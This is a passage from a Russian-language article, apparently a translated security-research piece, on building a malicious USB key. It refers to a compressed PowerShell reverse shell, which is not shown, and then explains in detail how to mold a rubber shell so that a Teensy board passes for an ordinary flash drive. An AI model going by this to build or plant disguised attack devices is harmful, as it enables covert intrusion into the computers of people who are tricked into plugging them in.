Наш компактный код, написанный на PowerShell, используется во внешней полезной нагрузке, показанной выше. Внешняя полезная нагрузка распаковывает реверсивный шелл, инжектирует в память и запускает в фоновом режиме опять же при помощи PowerShell. Благодаря сжатию, мы получили реверсивный шелл размером 1604 символа, пригодный для работы в Windows. Размер данного кода не такой маленький, как для OS X, но достаточный для того, чтобы быстро инжектировать через Teensy.
Создание реалистичного ключа
Последняя и самая веселая задача – как превратить Teensy в реалистично выглядящий ключ, поскольку человек вряд ли будет втыкать в свой компьютер странную электронную плату. После различного рода экспериментов выяснилось, что наиболее простой способ замаскировать Teensy – создать реалистичную оболочку из каучука, отлитого по форме реального USB-устройства.
Подсоединение USB-коннектора типа A
Рисунок 8: Подсоединенный коннектор типа A к плате Teensy
Первый шаг – подсоединение коннектора типа A к плате Teensy. Обрезание стандартного адаптера – не самая хорошая идея, поскольку данный метод слишком громоздок. Правильное решение – припаять коннектор к задней стенке платы Teensy. Как показано на рисунке ниже плата с припаянным коннектором почти похожа на настоящий ключ!
Рисунок 9: Плата Teensy с припаянным коннектором на фоне настоящего ключа
Примечание: не нужно удалять встроенный разъем микро-USB. Будьте внимательны и припаивайте коннектор в правильную позицию. Не перепутайте VUSB и заземление. Кроме того, не следует использовать провода. Выводы Data+ и Data- должны быть правильной длины, и провода могут все испортить.
Создание формы с настоящего USB-ключа
Второй шаг – создание силиконовой формы настоящего USB-ключа. В качестве образца подойдет любой ключ, поскольку размеры достаточны, чтобы уместить плату Teensy. Эталон, используемый мной, - немного узковат, и мне нужно было быть предельно внимательным при отливке каучука вокруг Teensy так, чтобы не было заметно. Будьте осторожны и не используйте ключ с силиконовой оболочкой (данный материал ощущается как прорезиненный), поскольку отливка кремния на кремнии вносит ненужные сложности.
Рисунок 10: Замешивание силиконовой массы
Первый шаг при создании формы (см. рисунок выше) – замешивание силикона так, чтобы получилась лиловая вязкая масса. Я покупал силикон, каучук и краситель в магазине
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(позиция: Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
).Рисунок 11: Опускание эталона в жидкую массу
Следующий шаг, как показано на рисунке выше, - подцепление ключа-эталона к деревянной пластине с зажимом и опускание в пластиковый стакан. Необходимо, чтобы ключ находится неподвижно в процессе затвердевания формы.
Рисунок 12: Готовая форма
Последний шаг – наполнение стакана жидким силиконом и оставление всей конструкции на 24 часа. Тонкость заключается в том, чтобы откачать воздух из массы. Иначе в твердой форме останутся пузырьки, которые могут испортить внешний вид ключа. Существует два метода удаления воздуха: вакуумная обработка перед заливкой или заливка тонкой струей с высоты. Я воспользовался вторым методом и почти все получилось. Появилось лишь несколько пузырьков, повлиявших на внешность нижней части ключа.
Создание каучуковой оболочки
Рисунок 13: Подготовка ингредиентов для оболочки
Нам осталось сделать каучуковую оболочку вокруг платы Teensy. Предостережение: будьте крайне внимательными при работе с каучуком и никогда не касайтесь этого материала кожей. Во время всего процесса носите очки и защитный костюм.
Рисунок 14: Замешивание каучуковой массы
Как и в случае с силиконом требуется замешивание каучуковой массы, но ровно столько, чтобы хватило на один ключ, поскольку в процессе замешивания сразу же начинается застывание. Наилучший вариант – использовать три десятикубовых шприца: два для каждого полимера и один для краски. Экспериментальным путем установлено, что для одной оболочки требуется 8 кубиков каждого полимера и 2 кубика для краски.
Рисунок 15: Заливка жидкого каучука в форму
Процедура создания оболочки состоит из четырех этапов:
- Смешиваем три компонента.
- Наполняем смесью четвертый шприц.
- Почти дополна заполняем форму полученной смесью.
- Вставляем плату Teensy в форму и оставляем на 30 минут.
Рисунок 16: Удаление избыточного каучука
Если все сделано правильно, останется избыточный каучук, который легко удалить при помощи ножа (см. рисунок выше).
Рисунок 17: Неудачный вариант ключа с оторванным коннектором
Несколько советов: Будьте терпеливы. Если вы вынете ключ слишком быстро, внешний вид будет нереалистичным, и коннектор может оторваться. Кроме того, как показано на рисунке выше, белый каучук не скрывает внутренне устройство ключа (по крайней мере, в моем случае). Поэтому я рекомендую добавлять краситель. Черный цвет подходит прекрасно, но, думаю, и другие цвета также будут вполне уместны.
Рисунок 18: Неудачный экземпляр
Еще один совет – не используйте смазку. Форма достаточно гибкая и смазка лишь испортит внешний вид (см. рисунок выше).
Рисунок 19: Удачный экземпляр вредоносного ключа
Если все прошло по плану, вы должны получить реалистичный ключ, очень похожий на эталон, с которого делалась форма (см. рисунок выше). Единственную искусственность получившегося ключа выдает нецентрированный USB-коннектор, который изначально сдвинут на плате. По всем остальным показателям готовый ключ ничем не отличается от настоящего.